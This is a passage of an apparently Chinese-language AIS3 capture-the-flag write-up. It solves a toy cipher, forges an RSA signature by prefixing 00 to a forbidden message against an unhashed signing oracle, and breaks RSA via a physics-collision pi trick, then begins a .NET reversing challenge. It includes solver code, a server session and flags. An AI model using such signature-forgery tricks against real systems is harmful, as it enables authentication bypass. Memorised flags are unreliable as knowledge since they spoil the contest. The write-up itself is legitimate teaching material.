class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&quot;python.h&quot;</span></span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function">def <span class="title">track</span><span class="params">(name, id)</span> -&gt; str ??                                                   </span>&#123;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">if</span> <span class="title">len</span><span class="params">(name)</span> % 4 </span>== <span class="number">0</span> ??                                                    )&#123;</span><br><span class="line">        padded = name + <span class="string">&quot;4444&quot;</span>                                                  ;&#125;</span><br><span class="line">    <span class="function">elif <span class="title">len</span><span class="params">(name)</span> % 4 </span>== <span class="number">1</span> ??                                                  )&#123;</span><br><span class="line">        padded = name + <span class="string">&quot;333&quot;</span>                                                   ;&#125;</span><br><span class="line">    <span class="function">elif <span class="title">len</span><span class="params">(name)</span> % 4 </span>== <span class="number">2</span> ??                                                  )&#123;</span><br><span class="line">        padded = name + <span class="string">&quot;22&quot;</span>                                                    ;&#125;</span><br><span class="line">    <span class="function">elif <span class="title">len</span><span class="params">(name)</span> % 4 </span>== <span class="number">3</span> ??                                                  )&#123;</span><br><span class="line">        padded = name + <span class="string">&quot;1&quot;</span>                                                     ;&#125;</span><br><span class="line"></span><br><span class="line">    keys = <span class="built_in">list</span>()                                                               ;</span><br><span class="line">    temp = id                                                                   ;</span><br><span class="line">    <span class="function"><span class="keyword">for</span> i in <span class="title">range</span><span class="params">(<span class="number">4</span>)</span> ??                                                        )</span>&#123;</span><br><span class="line">        keys.<span class="built_in">append</span>(temp % <span class="number">96</span>)                                                  ;</span><br><span class="line">        temp = <span class="built_in">int</span>(temp / <span class="number">96</span>)                                                   ;&#125;</span><br><span class="line"></span><br><span class="line">    result = <span class="string">&quot;&quot;</span>                                                                 ;</span><br><span class="line">    <span class="function"><span class="keyword">for</span> i in <span class="title">range</span><span class="params">(<span class="number">0</span>, len(padded), <span class="number">4</span>)</span> ??                                        )</span>&#123;</span><br><span class="line"></span><br><span class="line">        nums = <span class="built_in">list</span>()                                                           ;</span><br><span class="line">        <span class="function"><span class="keyword">for</span> j in <span class="title">range</span><span class="params">(<span class="number">4</span>)</span> ??                                                    )</span>&#123;</span><br><span class="line">            num = <span class="built_in">ord</span>(padded[i + j]) - <span class="number">32</span>                                       ;</span><br><span class="line">            num = (num + keys[j]) % <span class="number">96</span>                                          ;</span><br><span class="line">            nums.<span class="built_in">append</span>(num + <span class="number">32</span>)                                               ;&#125;</span><br><span class="line"></span><br><span class="line">        result += <span class="built_in">chr</span>(nums[<span class="number">3</span>])                                                  ;</span><br><span class="line">        result += <span class="built_in">chr</span>(nums[<span class="number">2</span>])                                                  ;</span><br><span class="line">        result += <span class="built_in">chr</span>(nums[<span class="number">1</span>])                                                  ;</span><br><span class="line">        result += <span class="built_in">chr</span>(nums[<span class="number">0</span>])                                                  ;&#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> result                                                               ;&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function">def <span class="title">main</span><span class="params">()</span> -&gt; <span class="type">int</span> ??                                                            </span>&#123;</span><br><span class="line"></span><br><span class="line">    name = <span class="built_in">open</span>(<span class="string">&quot;flag.txt&quot;</span>, <span class="string">&quot;r&quot;</span>).<span class="built_in">read</span>().<span class="built_in">strip</span>()                                 ;</span><br><span class="line">    id = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&quot;key = &quot;</span>))                                                   ;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;result is:&quot;</span>, <span class="built_in">track</span>(name, id))                                        ;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>                                                                    ;&#125;</span><br></pre></td></tr></table></figure><p>下面是 output.txt 的內容:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">result is:=Js&amp;;*A`odZHi&#x27;&gt;D=Js&amp;#i-DYf&gt;Uy&#x27;yuyfyu&lt;)Gu</span><br></pre></td></tr></table></figure><p>從程式中可以發現他先把 flag 長度補成 4 的倍數後，用一組四個 key 來對 flag 進行一次 4 字元的運算。但是，我們沒有 key 也沒有 flag，要怎麼逆運算回去?</p><p>後來發現我們可以利用 flag format<code>AIS3{...}</code>來解決這件事，先用前四個已知 flag 字元搭配 output 算出 key 之後，我們就能利用 output 推回 flag 了。</p><p>值得注意的是，他把 output 四個逆過來輸出，所以我們先把 output 逆回來比較容易計算。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&amp;sJ=`A*;HZdoD&gt;&#x27;i&amp;sJ=D-i#U&gt;fYuy&#x27;yuyfyuG)&lt;</span><br></pre></td></tr></table></figure><p>用<code>AIS3</code>與<code>&amp;sJ=</code>可以算出四個 key 的值:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;69,42,87,10&#125;</span><br></pre></td></tr></table></figure><p>有了 output 與 key 就能寫程式來逆推 flag 了。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;bits/stdc++.h&gt;</span></span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line">string s=<span class="string">&quot;&amp;sJ=`A*;HZdoD&gt;&#x27;i&amp;sJ=D-i#U&gt;fYuy&#x27;yuyfyuG)&lt;&quot;</span>;</span><br><span class="line"><span class="type">int</span> k[<span class="number">4</span>]=&#123;<span class="number">69</span>,<span class="number">42</span>,<span class="number">87</span>,<span class="number">10</span>&#125;;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0</span>;i&lt;<span class="number">40</span>;i++)&#123;</span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> j=<span class="number">48</span>;;j++)&#123;</span><br><span class="line"><span class="keyword">if</span>(<span class="built_in">char</span>((((j<span class="number">-32</span>)+k[i%<span class="number">4</span>])%<span class="number">96</span>)+<span class="number">32</span>)==s[i])&#123;</span><br><span class="line">cout&lt;&lt;<span class="built_in">char</span>(j);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">cout&lt;&lt;endl;</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>P.S. 從我們的結果可以發現 flag 一開始塞了”22”到後面喔~XD</p><p>FLAG:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">AIS3&#123;w31c0me_t0_AIS3_cryptoO0O0o0Ooo0&#125;</span><br></pre></td></tr></table></figure><h2 id="ReSident-evil-villAge"><a href="#ReSident-evil-villAge" class="headerlink" title="ReSident evil villAge"></a>ReSident evil villAge</h2><blockquote><p>Author: Kuruwa</p></blockquote><p>這題給了一個 nc 跟 source code，打開 source code 看一下。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> socketserver</span><br><span class="line"><span class="keyword">from</span> Crypto.PublicKey <span class="keyword">import</span> RSA</span><br><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> binascii <span class="keyword">import</span> unhexlify</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Task</span>(socketserver.BaseRequestHandler):</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">recv</span>(<span class="params">self</span>):</span><br><span class="line"><span class="keyword">return</span> self.request.recv(<span class="number">1024</span>).strip()</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">send</span>(<span class="params">self, msg</span>):</span><br><span class="line">self.request.sendall(msg + <span class="string">b&#x27;\n&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">handle</span>(<span class="params">self</span>):</span><br><span class="line">privkey = RSA.generate(<span class="number">1024</span>)</span><br><span class="line"></span><br><span class="line">n = privkey.n</span><br><span class="line">e = privkey.e</span><br><span class="line"></span><br><span class="line">self.send(<span class="string">b&#x27;Welcome to ReSident evil villAge, sign the name &quot;Ethan Winters&quot; to get the flag.&#x27;</span>)</span><br><span class="line">self.send(<span class="string">b&#x27;n = &#x27;</span> + <span class="built_in">str</span>(n).encode())</span><br><span class="line">self.send(<span class="string">b&#x27;e = &#x27;</span> + <span class="built_in">str</span>(e).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">self.request.sendall(<span class="string">b&#x27;1) sign\n2) verify\n3) exit\n&#x27;</span>)</span><br><span class="line">option = self.recv()</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> option == <span class="string">b&#x27;1&#x27;</span>:</span><br><span class="line">self.request.sendall(<span class="string">b&#x27;Name (in hex): &#x27;</span>)</span><br><span class="line">msg = unhexlify(self.recv())</span><br><span class="line"><span class="keyword">if</span> msg == <span class="string">b&#x27;Ethan Winters&#x27;</span> <span class="keyword">or</span> bytes_to_long(msg) &gt;= n:  <span class="comment"># msg+k*n not allowed</span></span><br><span class="line">self.send(<span class="string">b&#x27;Nice try!&#x27;</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">sig = <span class="built_in">pow</span>(bytes_to_long(msg), privkey.d, n)     <span class="comment"># <span class="doctag">TODO:</span> Apply hashing first to prevent forgery</span></span><br><span class="line">self.send(<span class="string">b&#x27;Signature: &#x27;</span> + <span class="built_in">str</span>(sig).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">elif</span> option == <span class="string">b&#x27;2&#x27;</span>:</span><br><span class="line">self.request.sendall(<span class="string">b&#x27;Signature: &#x27;</span>)</span><br><span class="line">sig = <span class="built_in">int</span>(self.recv())</span><br><span class="line">verified = (<span class="built_in">pow</span>(sig, e, n) == bytes_to_long(<span class="string">b&#x27;Ethan Winters&#x27;</span>))</span><br><span class="line"><span class="keyword">if</span> verified:</span><br><span class="line">self.send(<span class="string">b&#x27;AIS3&#123;THIS_IS_A_FAKE_FLAG&#125;&#x27;</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">self.send(<span class="string">b&#x27;Well done!&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"><span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">ForkingServer</span>(socketserver.ForkingTCPServer, socketserver.TCPServer):</span><br><span class="line"><span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">HOST, PORT = <span class="string">&#x27;0.0.0.0&#x27;</span>, <span class="number">42069</span></span><br><span class="line"><span class="built_in">print</span>(HOST, PORT)</span><br><span class="line">server = ForkingServer((HOST, PORT), Task)</span><br><span class="line">server.allow_reuse_address = <span class="literal">True</span></span><br><span class="line">server.serve_forever()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>從裡面可以發現 verify 的部分會檢查計算的結果是否等於<code>bytes_to_long(b&#39;Ethan Winters&#39;)</code>，而它有給定 n 與 e，因此原本的想法是爆搜，但發現搜不到於是放棄這條路。</p><p>再來看看有沒有其他的後門可以繞。sign 的部分，它會把你的註冊用 d 計算後存為 signature。用 RSA 的小常識，用 d 再用 e 運算後會把原本的明文算回來，但它前面出現了一個限制-<strong>要用 16 進位輸入而且不能註冊 Ethan Winters 的值</strong>。</p><p>在這裡要怎麼繞過呢?直觀的想法便是在前面加 00，因為這樣數字運算的時候會把 00 省略，但是字串比較時會與 Ethan Winters 的值不同，所以用 Ethan Winters 的 16 進位值再加上 00 前綴試試看。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&gt;&gt;&gt; <span class="string">&quot;Ethan Winters&quot;</span>.encode().hex()</span><br><span class="line"><span class="string">&#x27;457468616e2057696e74657273&#x27;</span></span><br></pre></td></tr></table></figure><p>把<code>00457468616e2057696e74657273</code>丟進去註冊，再把跑出來的<code>Signature</code>verify 即可拿到 flag。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">$ nc quiz.ais3.org 42069</span><br><span class="line">Welcome to ReSident evil villAge, sign the name &quot;Ethan Winters&quot; to get the flag.</span><br><span class="line">n = 116446349250477461211548564037305096646246352712613922877939621221682086442262006076658058243799666178199942844412251167013582517469698767681352409472676329468186602987766214457609857069612827869171818746620035374912701350547179213366848809313278051695960906542268549406826272373673111354786397335987091196949</span><br><span class="line">e = 65537</span><br><span class="line">1) sign</span><br><span class="line">2) verify</span><br><span class="line">3) exit</span><br><span class="line">1</span><br><span class="line">Name (in hex): 00457468616e2057696e74657273</span><br><span class="line">Signature: 81461102639376645458445563890933604042666832496108067724180262424539703394619135196334363979456757148465714312599695970577392038142353089971541912561007212572874317390985050129115895139824645075534050013217923053352965259741321376550049801845665852962177362515169292380016928834541247529513691701369654301864</span><br><span class="line">1) sign</span><br><span class="line">2) verify</span><br><span class="line">3) exit</span><br><span class="line">2</span><br><span class="line">Signature: 81461102639376645458445563890933604042666832496108067724180262424539703394619135196334363979456757148465714312599695970577392038142353089971541912561007212572874317390985050129115895139824645075534050013217923053352965259741321376550049801845665852962177362515169292380016928834541247529513691701369654301864</span><br><span class="line">AIS3&#123;R3M383R_70_HAsh_7h3_M3Ssa93_83F0r3_S19N1N9&#125;</span><br></pre></td></tr></table></figure><p>FLAG:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">AIS3&#123;R3M383R_70_HAsh_7h3_M3Ssa93_83F0r3_S19N1N9&#125;</span><br></pre></td></tr></table></figure><h2 id="Republic-of-South-Africa"><a href="#Republic-of-South-Africa" class="headerlink" title="Republic of South Africa"></a>Republic of South Africa</h2><blockquote><p>Author: Kuruwa</p></blockquote><p>這題給了一個 chall.py 與 output.txt，先來看看他的 chall.py 裡面做了什麼事情。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> secret <span class="keyword">import</span> flag</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">import</span> gmpy2</span><br><span class="line">gmpy2.get_context().precision = <span class="number">1024</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">collision</span>(<span class="params">m1, v1, m2, v2</span>):</span><br><span class="line"><span class="keyword">return</span> v1*(m1-m2)/(m1+m2) + v2*(<span class="number">2</span>*m2)/(m1+m2), v1*(<span class="number">2</span>*m1)/(m1+m2) + v2*(m2-m1)/(m1+m2)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">keygen</span>(<span class="params">digits</span>):     <span class="comment"># Warning: slow implementation</span></span><br><span class="line">m1 = <span class="number">1</span></span><br><span class="line">m2 = <span class="number">10</span> ** (<span class="number">2</span>*digits-<span class="number">2</span>)</span><br><span class="line">v1 = gmpy2.mpfr(<span class="number">0</span>)</span><br><span class="line">v2 = gmpy2.mpfr(-<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">count = <span class="number">0</span>       <span class="comment"># p+q</span></span><br><span class="line"><span class="keyword">while</span> <span class="built_in">abs</span>(v1) &gt; v2 <span class="keyword">or</span> v1 &lt; <span class="number">0</span>:</span><br><span class="line"><span class="keyword">if</span> v1 &lt; <span class="number">0</span>:</span><br><span class="line">v1 = -v1</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">v1, v2 = collision(m1, v1, m2, v2)</span><br><span class="line">count += <span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">p = random.randint(count//<span class="number">3</span>, count//<span class="number">2</span>)</span><br><span class="line">q = count - p</span><br><span class="line"><span class="keyword">if</span> isPrime(p) <span class="keyword">and</span> isPrime(q):</span><br><span class="line"><span class="keyword">break</span></span><br><span class="line"><span class="keyword">return</span> p, q</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">p, q = keygen(<span class="number">153</span>)</span><br><span class="line">n = p*q</span><br><span class="line">e = <span class="number">65537</span></span><br><span class="line">m = bytes_to_long(flag)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;n =&#x27;</span>, n)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;e =&#x27;</span>, e)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;c =&#x27;</span>, <span class="built_in">pow</span>(m, e, n))</span><br></pre></td></tr></table></figure><p>可以發現他用一種神奇的算法來產出 RSA 參數，那就來看看他是怎麼計算的吧。</p><p>一開始真的看不太出來上面的計算是什麼意思，卡了好一陣子。後來又回頭看看題目，collision 是指碰撞，再回頭看看 source code，發現他很好心的把變數設成 m1 跟 v1 這種型態，分別代表了質量和速度!</p><p>而 collision function 裡面傳回的便是一維碰撞後兩個物體分別的速度公式，從這裡可以確定碰撞的想法是正確的了。</p><p>其中<code>v1</code>&lt;0 時，程式會將它變成相反數，就像撞上了牆壁無能量損失的反彈。因此綜合起來，兩個物體在進行碰撞且 m1 方有一面牆壁，而這時候看看 count 變數，它每碰撞一次便會+1，因此是計算碰撞次數，從這裡直接聯想到物理碰撞的著名經典問題:</p><p><a href="https://www.youtube.com/watch?v=Un7mK05b9oA">從物理碰撞得出圓周率$\pi$</a></p><p>得到這個結論之後就容易許多了，它給定質量是$1:10^{(2\times153-2)}$，因此可以得到 count 便是圓周率的前 154 位(推論過程詳見影片)，而從裡面可以得到 count=p+q，所以我們便得到了<code>p+q=314159265358979323846264338327950288419716939937510582097494459230781640628620899862803482534211706798214808651328230664709384460955058223172535940812848</code>這個條件。</p><p>那我們需要把 p 跟 q 解出來嗎?不需要!分別得到 p,q 是因為我們需要計算$\phi(n)$的值，但現在我們有$n=p\times q$與$p+q$兩個條件了，這樣$\phi(n)=(p-1)(q-1)=p\times q-(p+q)+1$便可以計算了。</p><p>接下來就是用簡單的 RSA 概念來解決它囉!</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">n = <span class="number">23662270311503602529211462628663973377651035055221337186547659666520360329842954292759496973737109678655075242892199643594552737098393308599593056828393773327639809644570618472781338585802514939812387999523164606025662379300143159103239039862833152034195535186138249963826772564309026532268561022599227047</span></span><br><span class="line">e = <span class="number">65537</span></span><br><span class="line">c = <span class="number">11458615427536252698065643586706850515055080432343893818398610010478579108516179388166781637371605857508073447120074461777733767824330662610330121174203247272860627922171793234818603728793293847713278049996058754527159158251083995933600335482394024095666411743953262490304176144151437205651312338816540536</span></span><br><span class="line">k = <span class="number">314159265358979323846264338327950288419716939937510582097494459230781640628620899862803482534211706798214808651328230664709384460955058223172535940812848</span></span><br><span class="line"></span><br><span class="line">phi = n-k+<span class="number">1</span></span><br><span class="line">d = inverse(e, phi)</span><br><span class="line"><span class="built_in">print</span>(long_to_bytes(<span class="built_in">pow</span>(c, d, n)))</span><br></pre></td></tr></table></figure><p>FLAG:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">AIS3&#123;https://www.youtube.com/watch?v=jsYwFizhncE&#125;</span><br></pre></td></tr></table></figure><p>原來 flag 裡面給了一個碰撞的影片啊~有趣的題目 XD</p><h1 id="Reverse"><a href="#Reverse" class="headerlink" title="Reverse"></a>Reverse</h1><h2 id="Piano"><a href="#Piano" class="headerlink" title="Piano"></a>Piano</h2><blockquote><p>Author: CSY54</p></blockquote><p>這題給了一個 zip，裡面包了一堆額外的設定檔之類的東西。先來執行 piano.exe，但它跳出了一個 alert 要我先去下載.NET 的 framework，這為我在下一步解題時開了一道曙光。</p><p>打開之後，它是一個 GUI 琴面，但是…不知道要彈什麼。看起來應該不能從這裡下手，那應該就是要 reverse 了。</p><p><img src="https://i.imgur.com/4eYCFcw.png"></p><p>先用 IDA Pro 打開.exe 看看，但沒有發現什麼可以用的東西。後來想到一開始顯示的<code>.NET</code>，於是上網查了一下關鍵字<code>.NET reverse</code>，在<a href="https://pelock.medium.com/reverse-engineering-tools-for-net-applications-a28275f185b4">這個網站</a>裡面發現了一個叫<code>dnSpy</code>的工具，可以對.NET 下的 framework 進行 reverse。那就來用用它吧!</p><p>用 dnSpy 打開 piano.exe 沒有發現東西，但打開 piano.dll 之後翻找了一下，發現兩個特別可疑的 function<code>isValid()</code>與<code>nya()</code>:</p><figure class="highlight csharp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// piano.Piano</span></span><br><span class="line"><span class="comment">// Token: 0x06000003 RID: 3 RVA: 0x00002220 File Offset: 0x00000420</span></span><br><span class="line"><span class="function"><span class="keyword">private</span> <span class="built_in">bool</span> <span class="title">isValid</span>()</span></span><br><span class="line">&#123;</span><br><span class="line">List&lt;<span class="built_in">int</span>&gt; list = <span class="keyword">new</span> List&lt;<span class="built_in">int</span>&gt;</span><br><span class="line">&#123;</span><br><span class="line"><span class="number">14</span>,</span><br><span class="line"><span class="number">17</span>,</span><br><span class="line"><span class="number">20</span>,</span><br><span class="line"><span class="number">21</span>,</span><br><span class="line"><span class="number">22</span>,</span><br><span class="line"><span class="number">21</span>,</span><br><span class="line"><span class="number">19</span>,</span><br><span class="line"><span class="number">18</span>,</span><br><span class="line"><span class="number">12</span>,</span><br><span class="line"><span class="number">6</span>,</span><br><span class="line"><span class="number">11</span>,</span><br><span class="line"><span class="number">16</span>,</span><br><span class="line"><span class="number">15</span>,</span><br><span class="line"><span class="number">14</span></span><br><span class="line">&#125;;</span><br><span class="line">List&lt;<span class="built_in">int</span>&gt; list2 = <span class="keyword">new</span> List&lt;<span class="built_in">int</span>&gt;</span><br><span class="line">&#123;</span><br><span class="line"><span class="number">0</span>,</span><br><span class="line"><span class="number">-3</span>,</span><br><span class="line"><span class="number">0</span>,</span><br><span class="line"><span class="number">-1</span>,</span><br><span class="line"><span class="number">0</span>,</span><br><span class="line"><span class="number">1</span>,</span><br><span class="line"><span class="number">1</span>,</span><br><span class="line"><span class="number">0</span>,</span><br><span class="line"><span class="number">6</span>,</span><br><span class="line"><span class="number">0</span>,</span><br><span class="line"><span class="number">-5</span>,</span><br><span class="line"><span class="number">0</span>,</span><br><span class="line"><span class="number">1</span>,</span><br><span class="line"><span class="number">0</span></span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">for</span> (<span class="built_in">int</span> i = <span class="number">0</span>; i &lt; <span class="number">14</span>; i++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">this</span>.notes[i] + <span class="keyword">this</span>.notes[(i + <span class="number">1</span>) % <span class="number">14</span>] != list[i])</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">this</span>.notes[i] - <span class="keyword">this</span>.notes[(i + <span class="number">1</span>) % <span class="number">14</span>] != list2[i])</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight csharp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span 